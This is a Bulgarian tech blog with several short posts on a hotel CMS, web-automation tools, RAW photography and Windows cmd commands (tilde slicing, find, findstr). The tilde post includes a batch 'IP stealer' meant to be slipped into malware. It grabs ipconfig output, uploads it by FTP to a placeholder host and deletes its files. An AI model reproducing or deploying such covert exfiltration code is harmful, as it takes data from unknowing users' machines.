Нова версия на BGHotelCMS

Най-накрая намерих малко време да обновя проекта си, с който искам да подпомогна българския туризъм – BGHotelCMS 1.01.
Кода го пренаписах от нулата, като използвах PHP MiniTemplator, за да разделя програмирането от дизайна. Това ми помогна да съкратя доста кодирането и ми позволява да създавам и добавям много лесно нови теми за дизайна.

Повече подробности за този проект могат да се видят на страницата му – https://bghotelcms.nediko.info/

Share and Enjoy !

Shares

Web Mechanize engines

Съществуват много приложение на ботовете за автоматизиране на web-среда, т. нар. Web Mechanize engines. Тук ще разгледам няколко такива системи за механизиране и автоматизиране на работата с web-страници.

Приложение на Mechanize-ботовете

С помощта на скриптовете за автоматизиране на Web могат да се:

  • Попълват множество бланки и формуляри с еднородна информация
  • Търси в мрежата
  • Автоматизират регистрации. Примерно автоматизирано попълване на бланки за Гражданска отговорност.
  • Извличане на информация от множество сайтове наведнъж и съхраняването и.

и т.н.

Някои по-популярни Mechanize системи

WWW::Mechanize – Perl модул, написан от Jesse Vincent. Един от първите подобни модули за автоматизирано браузване.
mechanize – Python алтернатива на по-горния модул. Включва достъпните (супер лесни за работа даже) mechanize.Browser и mechanize.UserAgentBase имплементации на urllib2.OpenerDirector.
LWP – The World-Wide Web библиотека отново за Perl.
twill – базиран на Python изключително прост език за автоматизирано браузване. Изпълнява се от команден ред и изисква Python 2.3 или по-нов.
zope.testbrowser – още един модул за Python.
Watir – библиотека на Ruby за автоматизирано браузване. Супер лесна за работа.
Scriptable Browser – PHP алтернатива на горните модули. Все още има какво да се желае, но определено доста интересен проект.
Snoopy – PHP клас, който също е насочен към автоматизирано браузване.
Compass_Mechanize – PHP пакет, който е наречен от авторите “WWW::Mechanize for PHP”. Изисква Zend Framework.

Firefox Mechanize extensions

Освен посочените по-горе модули или езици, съществуват и приложения, които работят в средата на браузъра. Ще посоча някои механизатори за Firefox:
iMacros – Един от най-яките автоматизатори. Записва всички събития и генерира изключително лек и четим код. Не е нужно да изучвате скриптов език. Супер елементарно се работи с тази добавка.
iMacros Command Line – това брилянтно разширение разполага и с поддръжка на командния ред.
Chickenfoot – много любим механизатор. Има си собствен език за писане на скриптовете, който е доста лесен. Разполага и с рекордер на събитията, както и старт от командния ред: firefox -cf-run.
DejaClick – още една добавка за Firefox, която може да записва събития. Генерира малко трудно-четими скриптове, иначе пък си има някои полезни опции.
Selenium IDE – един от първите автоматизиращи плъгини за Firefox. Помня, че четох за него преди поне 6-7 години, дет се вика от зората на пандата. Не съм го ползвал, защото тогава не ми е бил необходим, но определено заслужава да е в този списък.

Разбира се има и много стари и достъпни методи за автоматизиране на по-леки задачи в Web. Например с cURL и wget понякога могат да се постигнат чудеса.

Share and Enjoy !

Shares

Pentax pef RAW-формат – задължителния формат за снимане

Снимам основно в RAW. При мен е задължително, защото бързам, все бързам. А когато бързаш, често не успяваш да направиш правилните настройки за добър кадър. Когато преди снимах в JPEG, съсипвах голям брой кадри, защото нямаше как да ги редактирам, за да придобият приличен бял баланс, осветеност, да изчистя шума и т.н.
Например един подобен кадър бих го сметнал директно за провален, ако не беше направен в RAW:

Original JPEG from RAW pef file

Оригиналната снимка от RAW-файла, конвертирана без редакция с FastStone Image Viewer


След бърза обработка с програмата за обработка на RAW-изображения SILKYPIX, който ми е любимата програма за обработка на изображения се получи нещо далеч по прилично:
Silkypix edit file

Обработеното изображение със Silkypix


Настройките, които използвах са:
Silkypix Settings

RAW формата дава възможност да се извлече много от цветната динамика на кадъра. Този формат съдържа няколко пъти повече информация или цветове, което именно позволява да се спаси в случая по-тъмно изображение. Ако бях снимал в JPEG, тъмните места бих се получили черни, а черното “#000000” не може да се редактира. Както и абсолютно бялото “#ffffff“. В единия случай имаме недоекспониране, в другия имаме преекспониране и прегаряне на кадъра. Подобни фатални грешки често са поправими, ако се снима в RAW.

До скоро снимането в RAW беше привилегия на DSLR телата, като малко сапунерки или ултразумчета поддържаха този формат. Напоследък се появява при все повече не-огледално-рефлексни фотоапарати. Има голяма мания по свободния фирмуеър за Canon сапунерчета CHDK, който позволява обикновена сапунерка да снима в RAW-формат.

Share and Enjoy !

Shares

cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

Share and Enjoy !

Shares

findstr – Windows cmd regex

В една друга тема писах малко за търсене в stdout с find в cmd, но инструмента тук превъзхожда в пъти подобно търсене. Предполагам всеки любител или системен администратор си мечтае за възможността да ползва скоростта и мощността на търсещите конзолни инструменти от UNIX/Mac/Linux. В Windows е малко сложно да си настроите системата да изпълнява подобните команди през промпта, просто защото е супер орязан, а инсталирането на UnxUtils си е малко досадно понякога, а и задължително си иска ъпдейта, особено за sed и grep! Все пак малко успокоение е търсенето в файлове или в pipe-режим командата findstr.Тази команда може да работи с едни първобитни RegEx-и, които са доста далече от популярните и модерни PCRE. Но и поосакатено това търсене може доста да ни помогне.
За пример, да потърсим с кои програми се асоциират html файловете в Windows система, като ще използваме pipe-линия:

ftype | findstr "html"

При мен резултата от подобно търсене е:

accesshtmlfile="C:\Program Files\Microsoft Office\OFFICE11\MSACCESS.EXE"
Excelhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
Excelhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
powerpointhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
powerpointhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
wordhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"
wordhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"

Командата разполага със следните възможности за търсене с регулярни изрази:

. Wildcard: any character
* Repeat: zero or more occurrences of previous character or class
^ Line position: beginning of line
$ Line position: end of line
[class] Character class: any one character in set
[^class] Inverse class: any one character not in set
[x-z] Range: any characters within the specified range
\x Escape: literal use of metacharacter x
\<xyz Word position: beginning of word
xyz\> Word position: end of word

Ключовете при стартиране на командата също могат да са полезни. За целта:

findstr /?

Share and Enjoy !

Shares

Windows Find command piping from CommandPrompt

В командният ред на Windows има една много приятна команда, която може да спести време. Командата Find. Тази команда може да се рови във файлове, но по-интересното е, че може да чете директно от stdout и да се включи в pipe. Пример за извличане само на IP-адрес от CommandPrompt:

ipconfig /all | find "IP Address"

Резултата от изпълнението на горната команда е:

IP Address. . . . . . . . . . . . : 10.37.112.18

Друг подобен пример е, ако знаем името на някой компютър в мрежата, но не знаем кой му е собственика, можем да потърсим само за този компютър:

net view | find "hpPC011004"

Много тъпо е, че find не поддържа поне wildcards!!! Но пък си имаме друг по-интересен инструмент findstr – Windows cmd търсене с регулярни изрази.

Стартирането на командния ред(cmd) в WinXp става през Start -> Run -> cmd. Всъщност има поне още една каруца начини.

Share and Enjoy !

Shares